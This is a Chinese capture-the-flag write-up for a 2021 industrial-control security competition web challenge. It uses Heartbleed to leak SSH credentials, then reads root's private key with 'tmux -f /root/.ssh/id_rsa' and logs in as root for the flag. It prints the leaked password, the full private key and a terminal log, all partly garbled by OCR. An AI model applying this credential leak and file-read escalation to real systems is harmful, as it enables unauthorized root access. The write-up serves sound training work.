CTFHub

Writeup

Q

Web2

 □ 2021-09-05 | □ Challenge , 2021 , 第七届全国工控系统信息安全攻防竞赛 , 三类

 Challenge | 2021 | 第七届全国工控系统信息安全攻防竞赛 | 三类 | Web2

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WriteUp来源

来自毕方安全实验室战队

题目描述

下载vpn以访问web,禁止使用爆破攻击,禁止使用容器逃逸类内核攻击

提示信息

- heartbleed
- 找到用户名密码通过ssh登录
- 多次尝试攻击,以寻找登录凭据
- 查看web源码
- ssh用户feel, 密码以abc结尾
- 提权: tmux, id_rsa

题目考点

- OpenSSL心脏滴血漏洞
- 源码审计
- Linux提权

解题思路

根据心脏滴血拿到登陆信息-用户名 feel 密码 33890101abc

通过history知道了tmux下存在id rsa文件

```
echo " " >.bash_history
  ls
 3
  ls -la
 5
   exit
 6
   id
 7
   exit
  find / -type f -perm /6000 2>/dev/null
 9 tmux -f /root/.ssh/id_rsa
  exit
10
   exit
11
12
   exit
13 tmux -f /root/flag.txt
   cd /var/www/htmls
14
  ls
15
16 rm image.jpg
  wget 172.17.0.1/image.jpg
17
18
   mkdir feel
   exit
19
   ls
20
  cd /
21
  ls
22
23 history
24 cd root/
  ls
25
26 cd /var/www/
27 cd html
```

通过tumx读取了id_rsa文件

```
1 LFILE=/root/.ssh/id_rsa
2 tmux -f $LFILE
```

得到登陆的私钥为

1 ----BEGIN RSA PRIVATE KEY-----MIIEowIBAAKCAQEAv37wtp4z7mWmF+6gWJ8f81disoZhP5fdO+V
2 swvPiiVv0datEKywwpIVvLG7k4j/4c1oLssWOAviK2eTvPcfrsae1iXMN7Q8S1CS

◀

3 POfUnnpPsmUd88ZMVsDjU4uK5ajhycnEP+iMpM/hgb5crKwwMPimDi13J1YXeKJa 4 Iq8kf4J4HYxiqsQuPG1K3RNe0/jUWwM47OHHPXR9yhRQrs5YxZGvU2Wo6wxsdDbX ZEODCM/oGOtaa3PWfmAZCn9zbgg+EQSkfN6VRHq9UwTU0L6MqxFBCY64D2NQskwX 5 MtZkbjEw0C7YdjZhAOFpmDos/8Tg7E752sn6PwIDAQABAoIBAFDhLIn1B7oI9L3m 6 65KCotwEbIs6dpiFa8uAaZXo3TS5g9UsvYQh20ZgKXpXUYFZbs6/JK8t4iv0EUUt 7 nHMnE5tYaY4rkRqexaLsAOoxzK86ULySizFuOT82KbMPQjdT6ao6jckbhu65BaRU 8 9 s67KaZyysGw8GqhTkYcdfgU+7rSNzI3FAxiRqv2ulT6bRU82VBFeQLqUACK6qTzR y7wjf4zeg27+o/v3Zqi7CoLlgVNndw1l180Qxn/0r9rnDqr2zuiTVhLIEU2nDoAM 10 k80F5g77W11FhCrKEQtSTQpm2fJtOrJJ1Hhq8ykPmwp1kNmZvamLif4tpvIB8JWy 11 B23b0AECgYEA7pzIoAlUC6ilNBOc98ND6dBYI/9qYnuhbge7CZzK9s36NYY+mfJb 12 S1/+s85jY0uttKFs4sYjgqRnNz1Ue83FMDY+LIbYjPU2Ky6DDWPDgwlpDN6MRWU6 13 N10oGM93KWxvokRn2EUVQ2myGeTNoJgyGbuTJthllPuAJuejwMsKqSECgYEAzXM3 14 Y2gu94zvcJsYhNntcaHG2ke3PYpn3MkeFIxSowDPEfsC0bfBwHKU1Iv2sNLI3maB 15 16 ScWXxQv2mjiaVSBxcZuSGlSczNGtaTzRUGyfe2WsYJ2ZsZmN159EYawlbUGESAii 17 L4SyOWWLL4nbfZJzV4SOAYy1LOJyk1NeTS/7V18CgYEA5rrc1UPv7UYqWW0Nv9c1 eJZqZIS6znhV5Ru81NL0wCr044ToS9y6wuwUUrIkEQRA+AWQUMjf1Zg75oJ7iyuy 18 19 nagV/uB1zfffZWoYd34ctD0J09R/NytnW9nMyBD1XSzp1bLn540FvqYZ/kftPnlt GMz0wf9GWwXHKdeb1PWBXYECgYBEXYKg4Zo/ZfaHUhTmoF4S4fJ50EN5hwTow0Pv 20 MoKNG0fMg+p8PtmKYJZwl+KPFJUi7Jk5IzdNqp101EEG8rTNSSdk+6LxxRQfYM2G 21 22 JZ8sQLkLrWXnY2F/zs/CcLZDlPmfvr+5cD6eOtwGBam0L3eSN9nJSjk/plraC3Pl 24GXoQKBgGbMnAvfpycBOrdvS9qOvoi2E/PPO6bjqG/gMtGGq9O5R79kYSvhfb6e 23 24 /mcmaHH7icTdkt9Y93JP9SME2PHEFW9002X9tirL0j5EtU1A6RFKCFdgpRC24pah tfXdSeJ9ZzX/tbeoEvmVLholvkqwenNuMUbsLmyj3tuPgmNZhCSh 25 ----END RSA PRIVATE KEY----26

使用该私钥以root用户身份登陆即可获得flag

```
FILE ACTIONS EDIT VIEW HELD
YU.....YU..x$..]..... root@kali:~/555# ls
                              111.php 555.py
                                                                     encodeFile.txt
                                                                                        _jojo.pcapng.extracted
                                         dio.pcapng
                                                                                        rrpc_015
                                                                                                                     门卡191220.dump
                              1.py
                                                                     error.pcapng
                                                                                                                     门卡200224.dump
100% complete)
                                         _dio.pcapng.extracted hills.jpg
                              555.php dump.rar
                                                                     jojo.pcapng
                                                                                                                     门卡210125.dump
xploit
                              root@kali:~/555# ls test
                              test
                              root@kali:~/555# ll test
onse #1
                              bash: ll: command not found
                              root@kali:~/555# ls -l test
                              -rw-r--r-- 1 root root 1675 Sep 4 04:41 test
root@kali:~/555# sudo chmod 600 test
root@kali:~/555# ssh root@172.54.0.121 -i test
                              Linux 733f52aa5a63 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86 64
                          The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
rver Hello (2)
lo Version:
lo random data:
lo Session ID length: 32
                              Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
lo Session ID:
                              permitted by applicable law.
Last login: Wed Jul 7 08:48:14 2021 from 172.17.0.1
                              root@733f52aa5a63:~# ls
                               flag.txt s.py
                              root@733f52aa5a63:~# cat flag.txt
                              congratulations! RIMPYGK4YCQKHEOLKH5S
                              root@733f52aa5a63:~# Connection to 172.54.0.121 closed by remote host.
rtificate Data (11)
                              Connection to 172.54.0.121 closed. root@kali:~/555#
es length: 815
h: 818
e #1:
rtificate #1: Length: 812
rtificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name CN=localhost,O=Dis,L=Springfield,ST=Deni
```

Flag



1 flag{RIMPYGK4YCQKHEOLKH5S}

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本文链接: https://writeup.ctfhub.com/Challenge/2021/第七届全国工控系统信息安全

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< easy_re CRCcode >

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